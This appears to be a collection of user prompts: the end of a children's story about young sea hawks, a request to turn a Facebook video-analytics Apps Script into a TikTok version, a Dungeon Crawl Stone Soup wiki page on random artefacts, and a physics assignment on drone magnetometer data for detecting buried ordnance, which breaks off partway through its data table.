remarked Livie. \n\n“What do you mean?” asked Joey.\n\n“The greatest cloud you speak of is the great storm!” exclaimed Livie. \n\n“So what?” asked Joey. \n\n“Mom said if you soar high into the storm there is great turbulence around the freezing level and you could collide with balls of ice that are tossing and churning up and down inside the cloud!” answered Livie. \n\n“That’s so cool!” exclaimed Joey. \n\n“It’s not funny,” replied Livie. “You must also watch out for strong shear currents created be-tween the downdraft and the thermal air flowing upward into the cloud. I’ve heard that the shearing winds between those up drafts and down drafts have torn birds apart!”\n\n“I still want to soar higher!” exclaimed Joey. “I want to soar to the top of the sky!” \n\n“I have heard that those up drafts and down drafts aren't even clearly defined as we just experi-enced for ourselves, Joey. There are strong gusts superimposed upon the up and down drafts which are rolling, tumbling and turning every which way,” remarked Livie. \n\n“Well, I had almost recovered to stable flight and was trying to stay within the up draft like you told me to do before I was tossed about and pushed out of the cloud by those crosswinds,” said Joey. \n\n“Stable flight is always a good feeling when we can do it. But most importantly Mom said we must learn to bend without breaking,” added Livie. \n\n“Okay then I will soar and bend right up to the top of the sky!” shouted Joey. \n\n“Look Joey here comes Mom and she’s clutching a big fish. Will she drop that fish\non the nest or will she dine in with us?” asked Livie as she began narrating Mom’s arrival.\n\n“And now Mom glides in, a magnificent specimen of a sea HAWK,” said Livie.\n\n“Mom hovers above the nest for a moment, then drops down to the nest with great wings raised up high, and with her head erect and legs wide apart she touches down for a perfect landing,” continued Livie with her narration. \n\n“Now Mom will prepare the meal of freshly caught seafood as her youngsters sit side by side with their necks craning forward and eyes watching intently as Mom carves the dinner.”\n\n“Oh cut it out Livie!” exclaimed Mom. “Now let's have dinner!”\n\nThen Mom passed tasty chunks of white meat to Livie and Joey from her bill to their bills and intermittently swallowed a piece of fish herself. \n\nAfter eating Mom flew over to a buttonwood tree and began grooming her feathers. \n\n“Now tell me Livie, have you tasted the mystical berries?” asked Joey. \n\n“What are mystical berries?” replied Livie. \n\n“They are berries that fall to the ground and accumulate in a sump under the mystic tree. I have often eaten those berries with my friends. The mystical berries make me feel happy and strong. Then my friends and I soared, whirled around and around and talon locked all afternoon having great fun!” exclaimed Joey.\n\n“Will you go with me to eat the mystical berries now?” asked Joey. \n\nLivie did not answer. Livie was busy preening her feathers as she nibbled along straightening and aligning each feather. \n\nJoey gazed out over the shimmering waters of Florida Bay and mused on the brightness of the day. Joey felt as one with all creatures swimming in the tides, moving on the land and flying in the skies.\n\nJoey felt the rhythms of all of nature flowing through his body and he heard the song of the heart pounding in his head. His mind warmed and flooded with white sunshine and his heart felt a fullness like it was filled with the brightness of joy and if the day would be any brighter, well his heart could just explode. \n\nJoey watched for the return of the EAGLES as the day turned into night and he fell asleep." -'Ive got this script for facebook videos, can you take inspiration on it and build one for tiktok videos of my account?\n\n// Configuration Extract and transform Constants\nconst SLACK\\_WEBHOOK\\_URL = \'YOUR\\_SLACK\\_WEBHOOK\\_URL\'; // Replace with the webhook URL you copied\n\nconst {\n PAGE\\_ID,\n ACCESS\\_TOKEN,\n SPREADSHEET\\_ID,\n SHEET\\_NAME,\n LOAD\\_STARTING\\_CELL,\n UNTIL\\_X\\_DAYS,\n SINCE\\_X\\_DAYS,\n NUM\\_ITERATIONS,\n LIMIT,\n}= getConfigurations();\n\nconst FIELDS = [\n "permalink\\_url",\n "length",\n "id",\n "created\\_time",\n "title",\n].join(\',\');\nconst INSIGHT\\_METRICS\\_MAP = {\n "total\\_video\\_impressions": "Impressions",\n "total\\_video\\_avg\\_time\\_watched": "AVD",\n "total\\_video\\_views": "Views\\_3",\n "total\\_video\\_10s\\_views": "Views\\_10",\n "total\\_video\\_15s\\_views": "Views\\_15",\n "total\\_video\\_30s\\_views": "Views\\_30",\n "total\\_video\\_60s\\_excludes\\_shorter\\_views": "Views\\_60",\n "total\\_video\\_complete\\_views": "Views\\_0s\\_al\\_95p",\n "total\\_video\\_stories\\_by\\_action\\_type": {\n "like": "likes",\n "share": "shares",\n "comment": "comments"\n }\n};\nconst INSIGHTS\\_METRICS = Object.keys(INSIGHT\\_METRICS\\_MAP).join(\',\');\n// Configuration Load constants\nconst LOAD\\_MODE = \'DELETE\'; // \'APPEND\' or \'DELETE\'\nconst UNIQUE\\_ID\\_COLUMN = 4; // Change to the actual column index of the unique identifier\nconst EVALUATE\\_COLUMN = 9; // Change to the actual column index of the column to evaluate if the data is "newer"\nconst SORT\\_COLUMN = 1; // Change to the actual column index of the column to sort before re-pasting\n\n// Main function\nfunction doGet(config) {\n try {\n console.log("Starting data extraction...");\n const data = extractData(config.NUM\\_ITERATIONS);\n console.log(`Data extraction complete. ${data.length} records fetched.`);\n\n console.log("Transforming data...");\n const transformedData = transformData(data);\n console.log("Data transformation complete.");\n\n console.log("Loading data into the sheet...");\n loadData(config, transformedData);\n console.log("Data loading complete.");\n } catch (error) {\n // Log the error and send a message to Slack\n console.error(`Error in doGet: ${error.message}`);\n // sendSlackNotification(`Error in doGet: ${error.message}`);\n }\n}\n\n/\\*\\*\n \\* Extracts video data from the Facebook Graph API and returns it as an array.\n \\* @param {number} numIterations - The number of times to iterate over the date range, decrementing the date range by SINCE\\_X\\_DAYS and UNTIL\\_X\\_DAYS on each iteration.\n \\* @return {Array} An array of video data objects containing information and insights about the videos.\n \\*/\nfunction extractData(config,numIterations) {\n const processedIds = [];\n let allFetchedData = [];\n const currentDate = new Date();\n let until = new Date(currentDate.getFullYear(), currentDate.getMonth(), currentDate.getDate() - config.UNTIL\\_X\\_DAYS);\n \n for (let iteration = 0; iteration < numIterations; iteration++) {\n const since = new Date(until.getFullYear(), until.getMonth(), until.getDate() - config.SINCE\\_X\\_DAYS);\n\n // Build the API URL for fetching video data\n const apiUrl = `https://graph.facebook.com/${config.PAGE\\_ID}/videos?fields=${FIELDS},video\\_insights.metric(${INSIGHTS\\_METRICS})&access\\_token=${config.ACCESS\\_TOKEN}&limit=${config.LIMIT}&since=${since.toISOString().slice(0, 10)}&until=${until.toISOString().slice(0, 10)}`;\n\n let nextPageUrl = apiUrl;\n\n while (nextPageUrl) {\n const response = UrlFetchApp.fetch(nextPageUrl);\n const json = JSON.parse(response.getContentText());\n\n allFetchedData = allFetchedData.concat(fetchFromApiResponse(json, processedIds));\n\n // Update nextPageUrl to fetch the next page if available\n nextPageUrl = json.paging?.next || null;\n }\n\n until = since;\n }\n\n return allFetchedData;\n}\n/\\*\\*\n \\* Filters and processes the videos from the given API response.\n \\*\n \\* @param {Object} apiResponse - The JSON object containing the API response data.\n \\* @param {Array} processedIds - An array of video IDs that have been processed so far.\n \\* @return {Array} An array of filtered and processed video data.\n \\*/\nfunction fetchFromApiResponse(apiResponse, processedIds) {\n const filteredData = apiResponse.data\n .filter((item) => {\n if (processedIds.includes(item.id)) {\n console.log(item.id + " Duplicated");\n return false;\n }\n processedIds.push(item.id);\n return true;\n })\n .filter((item) => {\n if (item.title === undefined) {\n return false;\n }\n // Remove any single or double quotes from the title to prevent issues with formatting or parsing when inserting data into the sheet.\n item.title = item.title.replace(/[\'"]+/g, "");\n return true;\n });\n\n return filteredData;\n}\n\n/\\*\\*\n \\* Transforms the extracted video data and returns it as an array.\n \\*\n \\* @param {Array} data - The raw video data array.\n \\* @return {Array} An array of transformed video data.\n \\*/\nfunction transformData(data) {\n // Directly return the transformed data without storing it in a variable.\n return data.map(transformRawData);\n}\n\n/\\*\\*\n \\* Transforms the raw video data into a structured object for insertion into the sheet.\n \\*\n \\* @param {Object} rawData - The raw video data object.\n \\* @return {Array} An array of transformed video data.\n \\*/\nfunction transformRawData(rawData) {\n // 1. Prepare and format video data fields\n const Fecha = new Date(rawData.created\\_time);\n const year = Fecha.getFullYear().toString().slice(2);\n const month = (Fecha.getMonth() + 1).toString().padStart(2, \'0\');\n const YY\\_MM = year + "-" +month;\n const Link = "https://www.facebook.com" + rawData.permalink\\_url;\n const Title = rawData.title.replace(/[\'"]+/g, \'\');\n const Id = rawData.id;\n const Length = rawData.length;\n\n // 2 Process video insights metrics and store them in a structured object\n const insights = {};\n // 2.1 Iterate through the INSIGHT\\_METRICS\\_MAP and calculate metric values\n for (const [metric, value] of Object.entries(INSIGHT\\_METRICS\\_MAP)) {\n const metricValue = getInsightValue(rawData.video\\_insights.data, metric);\n if (metric === "total\\_video\\_stories\\_by\\_action\\_type") {\n for (const [action, label] of Object.entries(value)) {\n insights[label] = metricValue?.[action] || 0;\n }\n } else {\n insights[value] = metricValue || 0;\n }\n }\n // 2.2 Extract individual metric values from the insights object\n const {\n Impressions,\n AVD,\n Views\\_3,\n Views\\_10,\n Views\\_15,\n Views\\_30,\n Views\\_60,\n Views\\_0s\\_al\\_95p,\n likes,\n comments,\n shares\n } = insights;\n\n // 3 Perform calculations using video data and insights to generate derived metrics\n const APV = AVD / (Length\\*1000); // Para que quede en porcentaje - Se multiplica X 1000 porque AVD esta en milisegundos\n const P\\_Del\\_0\\_al\\_60 = Views\\_60 / Impressions;\n const P\\_Del\\_60\\_al\\_95 = Views\\_0s\\_al\\_95p / Views\\_60;\n const P\\_Del\\_0\\_al\\_3 = Views\\_3 / Impressions;\n const P\\_Del\\_3\\_al\\_10 = Views\\_10 / Views\\_3;\n const P\\_Del\\_10\\_al\\_15 = Views\\_15 / Views\\_10;\n const P\\_Del\\_15\\_al\\_30 = Views\\_30 / Views\\_15;\n const P\\_Del\\_30\\_al\\_60 = Views\\_60 / Views\\_30;\n\n // 4 Build an array with the final video data and calculated metrics to be used for pasting\n const DataForPasting = [\n Fecha,\n Link,\n Title,\n Id,\n AVD / (86400\\*1000), // Esta en MILISEGUNDOS, para convertir tenemos que X 1000 x 60\\*60\\*24\n Length / 86400, // Esta en SEGUNDOS, para correcta lectura tenemos que convertilos a Fraccion de los segundos en un dia = 60\\*60\\*24 = 86400\n APV,\n \'\',\n Impressions,\n P\\_Del\\_0\\_al\\_60,\n Views\\_60,\n P\\_Del\\_60\\_al\\_95,\n Views\\_0s\\_al\\_95p,\n \'\',\n P\\_Del\\_0\\_al\\_3,\n P\\_Del\\_3\\_al\\_10,\n P\\_Del\\_10\\_al\\_15,\n P\\_Del\\_15\\_al\\_30,\n P\\_Del\\_30\\_al\\_60,\n \'\',\n likes,\n comments,\n shares,\n \'\',\n YY\\_MM,\n Impressions,\n Views\\_3,\n Views\\_10,\n Views\\_15,\n Views\\_30,\n Views\\_60,\n Views\\_0s\\_al\\_95p\n ];\n return DataForPasting;\n}\n\n/\\*\\*\n \\* Get the value of a specific metric from the given video insights.\n \\*\n \\* @param {Array} dataInsights - The array of video insights to search.\n \\* @param {string} metricName - The name of the metric to retrieve the value for.\n \\* @return {number} The value of the metric or 0 if it is not found.\n \\*/\nfunction getInsightValue(dataInsights, metricName) {\n // Find the insight object that matches the metricName\n const insight = dataInsights.find((i) => i.name === metricName);\n // If the insight object is found, return the value of the first value object in the values array\n // Otherwise, return 0\n return insight?.values[0]?.value || 0;\n}\n\n/\\*\\*\n \\* Loads the transformed video data into the given Google Spreadsheet sheet after clearing existing content.\n \\*\n \\* @param {Object} config - The configuration object containing spreadsheet ID and sheet name.\n \\* @param {Array} data - The transformed video data array.\n \\*/\nfunction loadData(config, data) {\n if (LOAD\\_MODE === \'APPEND\') {\n appendData(config, data);\n } else if (LOAD\\_MODE === \'DELETE\') {\n deleteAndLoadData(config, data);\n } else {\n throw new Error(\'Invalid load mode. Please use "APPEND" or "DELETE".\');\n }\n}\n\nfunction appendData(config, data) {\n const ss = SpreadsheetApp.openById(config.spreadsheetId);\n const sheet = ss.getSheetByName(config.sheetName);\n const numCols = data[0].length;\n // Load existing data from the sheet\n const existingData = sheet.getRange(LOAD\\_STARTING\\_CELL + ":" + sheet.getRange(sheet.getLastRow(), numCols).getA1Notation()).getValues();\n const newData = [];\n // Iterate through new data\n data.forEach((newDataRow) => {\n const id = newDataRow[UNIQUE\\_ID\\_COLUMN - 1];\n let found = false;\n // Iterate through existing data\n existingData.forEach((existingDataRow, index) => {\n if (existingDataRow[UNIQUE\\_ID\\_COLUMN - 1] === id) {\n found = true;\n if (existingDataRow[EVALUATE\\_COLUMN - 1] < newDataRow[EVALUATE\\_COLUMN - 1]) {\n existingData[index] = newDataRow;\n }\n }\n });\n if (!found) {\n newData.push(newDataRow);\n }\n });\n // Combine existing and new data\n const combinedData = existingData.concat(newData);\n // Sort combined data based on the SORT\\_COLUMN in descending order\n combinedData.sort((a, b) => {\n return b[SORT\\_COLUMN - 1] - a[SORT\\_COLUMN - 1];\n });\n // Clear the existing content and load the combined data\n sheet.getRange(LOAD\\_STARTING\\_CELL + ":" + sheet.getRange(sheet.getLastRow(), numCols).getA1Notation()).clearContent();\n // Set the correct column count when setting values in the sheet\n sheet.getRange(LOAD\\_STARTING\\_CELL + ":" + sheet.getRange(combinedData.length + 1, numCols).getA1Notation()).setValues(combinedData);\n}\n\nfunction deleteAndLoadData(config, data) {\n const ss = SpreadsheetApp.openById(config.spreadsheetId);\n const sheet = ss.getSheetByName(config.sheetName);\n const numRows = data.length;\n const numCols = data[0].length;\n const startingCell = sheet.getRange(LOAD\\_STARTING\\_CELL);\n const startingRow = startingCell.getRow();\n const startingCol = startingCell.getColumn();\n // Clear the content in the existing data range\n sheet.getRange(startingRow, startingCol, sheet.getLastRow() - startingRow + 1, numCols).clearContent();\n // Set the values in the new data range\n sheet.getRange(startingRow, startingCol, numRows, numCols).setValues(data);\n}\n\n// Utility Functions\n/\\*\\*\n \\* Sends a notification message to a Slack channel using an incoming webhook.\n \\*\n \\* Set up an incoming webhook in your Slack workspace:\n \\* a. Go to https://api.slack.com/apps and sign in to your Slack account.\n \\* b. Click "Create New App" and fill in the App Name and Development Slack Workspace, then click "Create App."\n \\* c. In the "Add features and functionality" section, click "Incoming Webhooks."\n \\* d. Enable incoming webhooks by toggling the switch to "On."\n \\* e. Click "Add New Webhook to Workspace" and choose the channel where you want to receive notifications. Click "Allow."\n \\* f. Copy the Webhook URL, as you will need it in your script.\n \\*\n \\* Replace YOUR\\_SLACK\\_WEBHOOK\\_URL with the webhook URL you copied from the Slack API page. Now, when an error occurs in your script, a message will be sent to the specified Slack channel.\n \\*\n \\* @function sendSlackNotification\n \\* @param {string} message - The message to be sent to the Slack channel.\n \\*/\nfunction sendSlackNotification(message) {\n const payload = {\n text: message\n };\n\n const options = {\n method: \'post\',\n contentType: \'application/json\',\n payload: JSON.stringify(payload)\n };\n\n UrlFetchApp.fetch(SLACK\\_WEBHOOK\\_URL, options);\n}' -'Randart\nVersion 0.29: This article is up to date for the latest stable release of Dungeon Crawl Stone Soup.\nRandarts, or random artefacts, are randomly or purposefully generated weapons, jewellery, armour, or spellbooks that can have any number of enchantments, egos, and brands, which are randomly selected from a pool of each of those attributes. They are also given names.\n\nContents\n1 How Randarts Occur\n2 Identifying A Randart\n3 Properties\n4 Names\n5 Strategy\n6 History\nHow Randarts Occur\nIn the Dungeon, randarts appear randomly starting on D:4. While a randart of any individual type is difficult to find (i.e., you cannot rely on finding a randart plate mail), randarts themselves are not particularly rare: a typical 3-rune game will produce around 10 to 20 without divine intervention.\n\nThree gods can also gift their followers randarts: Okawaru, Trog, and Xom. Okawaru gifts weapons and armour to high-piety followers; Trog gifts weapons (although usually of a higher quality than Oka\'s), while Xom can gift anything to any worshiper at any time, though with absolutely no degree of reliability.\n\nIdentifying A Randart\nDiscovering a randart is quite simple. they will look like any other item of the same type, most of the time, but the thing to look for is in the text description. Randarts will have a strange title in white text, like\n\na smoking dagger\nNote that randart spellbooks do not have their names in white text. However, they do bear descriptions different from those of mundane books, and their spells are automatically identified.\n\nProperties\nRandart weapons always have a brand, while randart jewellery always have a base type which gives the first in the list of auto inscription properties. Conversely, randart armour won\'t always have an ego. Randart weapons/armour tend to be enchanted, and may go above the usual limits for the item in question.\n\nIn addition, randarts can have any of the following properties:\n\nPositive or negative properties:\n\n±Str, Dex, or Int. Self-explanatory. The range is -5 to +12 inclusive.\n±Slay. Works identically to a ring of slaying. The range is -9 to +8 inclusive. Never found on weapons (Enchantment is exactly equal to slaying).\nFire resistance: ranges from rF- to rF+++.\nCold resistance: ranges from rC- to rC+++.\nWillpower: ranges from Will- to Will+++.\nStlth±: Increases or decreases your intrinsic stealth.\nMP±9: Increases or decreases your maximum MP by 9. Never found on antimagic weapons.\nNote that the base type of an item still applies. For example, a ring of willpower always gives Will+, so the randart property may give more than the base property.\n\nPositive properties:\n\nNegative energy resistance: ranges from rN+ to rN+++.\nPoison resistance: only exists as one nonstacking level, rPois.\nElectricity resistance: only exists as one nonstacking level, rElec.\nCorrosion resistance: only exists as one nonstacking level, rCorr.\nSInv: Lets you see invisible. Never found on barding.\n+Blink: Can evoke a blink for a small cost in MP. Never found on randarts with -Tele.\n+Fly: Grants the user flight.\n+Inv: Allows the wearer to Evoke Invisibility. Evocation is not particularly easy, with a cost in max HP drain.\nRegen+: Improves regeneration, as an amulet of regeneration. Only appears on armour (and amulets).\nNegative properties:\n\nFragile: The artefact can only be equipped once. After unequipping it, it is destroyed.\n\\*Noise: Makes noise when attacking, waking and alerting nearby monsters. The noise is somewhat louder than simply shouting. Only found on melee weapons.\n\\*Rage: Causes the wearer to randomly go berserk, similar to the berserkitis mutation, but much higher (20%). Only found on melee weapons.\n\\*Contam: Causes a large amount of magical contamination when unwielded/unworn, likely to cause bad mutations that may bypass mutation resistance.\n\\*Corrode: Causes the wearer to randomly corrode when taking damage. Each worn randart with this property increases the chance. Never appears with rCorr.\n\\*Drain: Causes the player to be drained when this randart is unwielded/unworn.\n-Cast: Inhibits all spellcasting. Only found on armour.\n-Tele: Blocks all forms of teleportation and blinking. Does not prevent banishment or space-warping effects (Passage of Golubria, Lugonu\'s Bend Space). Never appears with +Blink, and only on armour.\n\\*Slow: Causes the wearer to randomly become slowed when taking damage. Each worn randart with this property increases the chance by 1%.\nThese describe the properties that can appear above and beyond the artefact\'s base type; if you see properties on your randart not listed below, they are a result of that base type, most often in the case of randart jewellery. Note that a randart cannot receive properties that modify the intrinsic properties of its base item. For example, randart fire dragon armour always has rF++ and rC-; it can never have, say, rF+ or rC+.\n\nRandart spellbooks are different from other randarts in that they do not have any sort of special properties; they just have a random assortment of spell, grouped around one or more themes. Themes can include specific magical schools, general spell types such as "offensive spell", "defensive spell", "disabling spell", and specific levels of spells. The randbook\'s name will usually be a description of its theme (for example, the "Tome of Earthen Intoxication" will contain various Earth and Poison Magic spells).\n\nNames\nRandarts have randomly generated names - either a name generated from Crawl\'s database files, or from the name generator (which also names Pan lords, shopkeepers, and a few other things). They are always unusual and sometimes entertaining. The name of a randart is mostly irrelevant; however, randarts that are named for gods (like the +6 broad axe of Okawaru\'s Hope) are forbidden from having properties that contradict the god\'s flavour. Thus, Cheibriados will not have weapons of speed named after him, nor will one find a ring dedicated to Sif Muna that prevents spellcasting. This does not result in any information leak, however, since it is impossible to know the name of an artefact without already knowing all of its properties.\n\nRandarts can occasionally be named after the player. While rare, this is not an amazing coincidence or anything: artefacts simply have a small chance of being named after the player. While amusing, these names are just as irrelevant as any others.\n\nStrategy\nWhile randarts can be very powerful, they vary in quality. One can very broadly divide them into six categories; these definitions, of course, change from character to character:\n\nNice to Uber: These include the so-called "uber-randarts" (+5 boots of Yendor {rF+++ Will+ rElec Str+8}), but also some that don\'t quite qualify for that distinction but are still things you\'d always want to use. Things like the amulet of Amarra {Regen rF+ rPois Slay+3} or the +3 gloves of Okawaru\'s Hope {rC+++ rN+ SInv} would fall into this category.\nGood for a while: Most of the time, these are weapons with high enchantments and neutral to useful properties, but poor base types. Such an example might be the +6 scimitar of Fun {vorpal, rC+ SInv}. A nice weapon, but outclassed by an enchanted demon blade or double sword, or even a +9 branded scimitar when it comes to the end game.\nSwaps: These are the mixed randarts that give a tactically useful property, but things you would not want to wear all the time. The ring of Plog {rElec rN+ Will-- Str-5} might be useful to swap to for rElec or rN+, but the willpower and strength malus make it highly undesirable to wear constantly.\nNot useful to you: Randarts you can\'t wear or wield fall into this category, as do those that you could in theory but can\'t really use in practice: an executioner\'s axe of speed is an awesome weapon, but a Deep Elf Conjurer is unlikely to be able to use it. However, weapons with useful resistances can be useful to casters who don\'t plan on using melee that much.\nDross: These are randarts that are just boring; usually, branded mundane items will fill the slot better. The ring of the Moon {rF+ Str+2} provides minimal benefit over a plain ring, while the +0 helmet of Xizic {Slay-1 Dex+2 Int-1} isn\'t exactly good for anyone. Unfortunately, far too many randarts fall into this category. This is where it is most important to keep a sense of perspective: it would be a bad idea to wear the randart helmet given above in place of a hat of magic resistance, or even a +2 helmet. Wear this type of randart if you have nothing better to put in that slot.\nBad: These are generally quite obvious. They range from "mixed but mostly bad" things like the amulet of Torgh {Acro Str-2 rC-} to truly spectacular failures like the -2 hat of a Thousand Suns {Dex-2 Slay-2} or the ring of the Sun {Fly Slay-5 \\*Slow \\*Rage}. Usually there is absolutely no reason to prefer randarts like these to a unbranded mundane item of the same type.\nA factor that goes into what category a randart falls into, one that is often overlooked, is the slot and base type the randart itself is. The +6 plate armour of Wixzils {Dex+3 Slay+1 rN+} is probably inferior to a +10 plate armour of fire resistance. But the the +3 cloak of Wizzils {Dex+3 Slay+1 rN+} is actually quite good, since it\'s superior to any mundane gloves you can get. Basically, be sure to consider what normal items you could substitute for your randart when considering how good it is.\n\nMost randarts are not actually that useful, due to the sheer randomness of their properties. Pick out the best of them, and discard the rest. Don\'t carry or stash randarts because they\'re rare or because you might use them "at some point." Chances are, if you\'re not using it now and can\'t think of any specific situation in which it\'ll be useful, it\'s probably junk (i.e., in the last three categories given above).' -'Determine the distribution of the values of the magnetic field B and of log\\_10 ((|B|)/1nT) such that each percentile corresponds to 1% of the measurement values. \nMake a histogram of each.\n\nUse the information given below\nFinding ordonnance with drones \n\nWar has been a scourge for humankind since the dawn of history. It is fortunately true that after an extremely violent first half of the 20th century, the second half has seen a steady decrease in war violence (https://ourworldindata.org/war-and-peace). Tragically, however, even today war is raging in several parts of the world very much including in Europe since the Russian invasion of Ukraine. \n\nEven after a war has ended it continues to make victims. Most of the victims are due to the extra mortality caused by diseases and reduced life expectancy from economic hardship and the destruction of infrastructure. However, a particularly nasty heritage of war is the large number of mines and unexploded ordonnance. They can continue to make victims long after the war has finished. E.g. more than a century after WOI the enormous amount of unexploded ordonnance (including grenades with chemical weapons) in the “red zone” of the western front, continues to make victims, as farmers continue to plow up rusty grenades. People, often playing children, are often maimed for life if they hit on a hidden mine. Therefore, the risk posed by unexploded mines can make large land areas off limits. In addition to the terrible human tragedies and the burden on usually already overburdened medical infrastructure, the denial of land that could be used for habitation, agriculture, or industry has large economic consequences. Thus, despite the risk and the high cost involved, mine and explosive disposal is one of the first priorities after a war. \n\nA particularly difficult problem in demining and explosive disposal is finding explosives that have buried themselves underground. This can easily happen due to the shock of impact in soft soil, other explosives piling dirt or debris on top, or simply bomb craters being filled with soil to repair damage to the land after the conflict. Randomly digging for ordonnance in the deep soil is both destructive and prohibitively expensive. Moreover, even when digging is already necessary e.g. for the constructions of roads or buildings, or in deep plowing, accidentally finding ordonnance is not only risky, but also expensive as all activities have to be stopped to investigate, and dispose of the ordonnance. Thus, there is a considerable incentive to find bombs in the subsurface without digging. \n\nThe assignment is based on data of a drone equipped with a magnetic field sensor to detect ordonnance in the deep subsurface. Magnetic sensors measure static or oscillating magnetic fields in units of fractions of a Tesla (T) . The magnetic field, traditionally denoted B is a vector quantity. However, one often only measures only one component, (including for the datasets provided) i.e. a size and a sign. \n\nThe simplest magnetic sensors work by measuring the change in the local magnetic field of the earth caused by a substantial amount of ferro-magnetic material such as the steel housing of a grenade. Since the earth magnetic field is much stronger (about 5µT) than the one produced by the material but essentially constant on the scale of a kilometer (but not on the scale of the earth!), one measures, in fact, a difference signal between two magnetometers separated by a meter or so. Since the magnetic field difference scales linearly with the distance (to first order), one is effectively measuring the gradient of the magnetic field. Alternatively, the sensor is connected to a probe that produces a changing magnetic field itself, oscillating with a frequency of the order of 10kHz. This is the method used by handheld metal detectors. A changing magnetic field will induce oscillating currents in metallic (i.e. conducting) objects which in turn create an oscillating magnetic field which can be easily separated from the earth magnetic field and can be measured. This is the method used with handheld metal detectors. The advantage of this method is that it picks up other metals than iron. It is also more sensitive to the depth of the material. This allows for a better estimate of the depth of the material (especially if one also has information on the conductivity of the soil), but it can also mean that one misses objects that are buried too deep underground. \n\nThe data for the assignment has magnetic field measurements at different locations from a drone flying over a field following a scanning pattern. There is also data were bombs were actually dug out of the ground after drone data suggested there was something there. \n\n\u2003\nAssignment Part 1.\n \nFor this part of the assignment we only need the magnetic field data of field 9641-20220308-F1. \nThe data consists of an x coordinate (from west to east) and a y coordinate (from south to north) in meter, and a magnetic field component in nano-Tesla on a roughly 4 sided field.\n\nX [m] Y [m] Wert [nT]\n-0.463 22.455 -31.270\n-0.463 22.523 -32.160\n-0.462 22.591 -31.510\n-0.461 22.658 -29.810\n-0.460 22.726 -21.040\n-0.459 22.794 -9.470\n-0.458 22.862 7.670\n-0.457 22.930 23.600\n-0.456 22.998 45.450\n-0.455 23.064 62.750\n-0.453 23.131 80.960\n-0.451 23.198 95.470\n-0.449 23.264 107.750\n-0.448 23.331 114.040\n-0.446 23.397 115.670\n-0.444 23.464 103.890\n-0.442 23.531 84.100\n-0.440 23.597 62.860\n-0.439 23.664 54.750\n-0.437 23.731 39.430\n-0.435 23.797 24.030\n-0.433 23.864 12.880\n-0.432 23.930 5.890\n-0.430 23.997 -2.080\n-0.428 24.064 -5.590\n-0.426 24.130 -8.650\n-0.424 24.197 -10.520\n-0.423 24.264 -12.500\n-0.421 24.330 -12.680\n-0.422 24.402 -11.770\n-0.423 24.475 -12.410\n-0.424 24.547 -12.170\n-0.426 24.619 -10.430\n-0.427 24.691 -10.040\n-0.428 24.763 -8.530\n-0.429 24.835 -10.720\n-0.431 24.907 -8.540\n-0.432 24.979 -7.570\n-0.433 25.051 -8.840\n-0.434 25.124 -6.020\n-0.436 25.196 -6.870\n-0.437 25.268 -5.130\n-0.438 25.340 -4.880\n-0.439 25.412 -4.480\n-0.440 25.484 -4.290\n-0.442 25.556 -4.770\n-0.443 25.628 -1.960\n-0.444 25.700 -1.990\n-0.445 25.773 -2.820\n-0.447 25.843 -2.150\n-0.449 25.914 -1.400\n-0.451 25.985 -2.390\n-0.452 26.056 -1.030\n-0.454 26.127 -1.860\n-0.456 26.198 -2.710\n-0.457 26.269 -2.560\n-0.459 26.340 -3.880\n-0.461 26.410 -2.020\n-0.463 26.481 -0.640\n-0.464 26.552 -0.340\n-0.466 26.623 -0.290\n-0.468 26.694 0.060\n-0.470 26.765 0.130\n-0.471 26.836 -0.800\n-0.473 26.906 -0.370\n-0.475 26.977 -0.220\n-0.477 27.048 1.500\n-0.478 27.119 0.950\n-0.480 27.190 0.350\n-0.481 27.267 0.270\n-0.481 27.344 0.230\n-0.482 27.421 1.290\n-0.482 27.499 -1.390\n-0.482 27.576 1.530\n-0.483 27.653 0.350\n-0.483 27.730 0.060\n-0.484 27.807 -0.520\n-0.484 27.884 -0.370\n-0.485 27.962 0.750\n-0.485 28.039 -0.230\n-0.486 28.116 0.170\n-0.486 28.193 0.800\n-0.487 28.270 0.210\n-0.487 28.347 1.380\n-0.488 28.425 3.350\n-0.488 28.502 2.400\n-0.489 28.579 4.030\n-0.489 28.656 3.710\n-0.489 28.722 2.560\n-0.489 28.789 2.500\n-0.489 28.855 1.470\n-0.489 28.921 2.300\n-0.488 28.987 0.770\n-0.488 29.053 0.580\n-0.488 29.120 0.500\n-0.488 29.186 1.310\n-0.488 29.252 -0.320\n-0.487 29.318 2.120\n-0.487 29.384 1.940\n-0.487 29.451 2.290\n-0.487 29.517 3.850\n-0.486 29.583 1.420\n-0.486 29.649 1.010\n-0.486 29.715 1.760\n-0.486 29.782 0.620\n-0.486 29.848 -1.470\n-0.485 29.914 1.420\n-0.485 29.980 0.470\n-0.485 30.046 0.970\n-0.487 30.119 4.120\n-0.489 30.191 5.440\n-0.491 30.264 5.820\n-0.493 30.336 4.890\n-0.495 30.409 4.140\n-0.497 30.481 2.420\n-0.499 30.554 4.200\n-0.501 30.626 0.150\n-0.503 30.699 3.770\n-0.505 30.771 3.430\n-0.507 30.844 2.440\n-0.509 30.916 0.870\n-0.511 30.989 2.660\n-0.513 31.061 0.230\n-0.515 31.134 0.420\n-0.517 31.206 0.560\n-0.519 31.279 1.890\n-0.521 31.351 0.930\n-0.523 31.424 1.480\n-0.525 31.496 1.490\n-0.524 31.565 1.000\n-0.524 31.633 0.310\n-0.523 31.701 2.330\n-0.522 31.769 1.140\n-0.521 31.838 0.470\n-0.521 31.906 0.690\n-0.520 31.974 -0.230\n-0.519 32.042 0.840\n-0.518 32.110 1.540\n-0.518 32.179 1.070\n-0.517 32.247 1.830\n-0.516 32.315 1.950\n-0.515 32.383 1.610\n-0.515 32.452 1.070\n-0.514 32.520 -0.150\n-0.513 32.588 -0.950\n-0.512 32.656 -0.200\n-0.512 32.725 -0.570\n-0.511 32.793 -0.700\n-0.510 32.861 -1.540\n-0.509 32.930 -0.180\n-0.508 33.000 0.840\n-0.506 33.069 -0.150\n-0.505 33.139 -0.410\n-0.504 33.208 1.430\n-0.503 33.278 0.830\n-0.501 33.347 1.990\n-0.500 33.416 0.660\n-0.499 33.486 0.850\n-0.498 33.555 1.830\n-0.496 33.625 2.200\n-0.495 33.694 0.000\n-0.494 33.764 2.830\n-0.493 33.833 0.680\n-0.492 33.903 1.030\n-0.490 33.972 0.960\n-0.489 34.041 -0.510\n-0.488 34.111 0.890\n-0.487 34.180 1.680\n-0.485 34.250 0.830\n-0.485 34.322 0.080\n-0.486 34.394 1.670\n-0.486 34.466 2.030\n-0.486 34.538 1.790\n-0.486 34.610 0.680\n-0.486 34.683 2.420\n-0.487 34.755 2.970\n-0.487 34.827 1.510\n-0.487 34.899 2.330\n-0.487 34.971 1.740\n-0.487 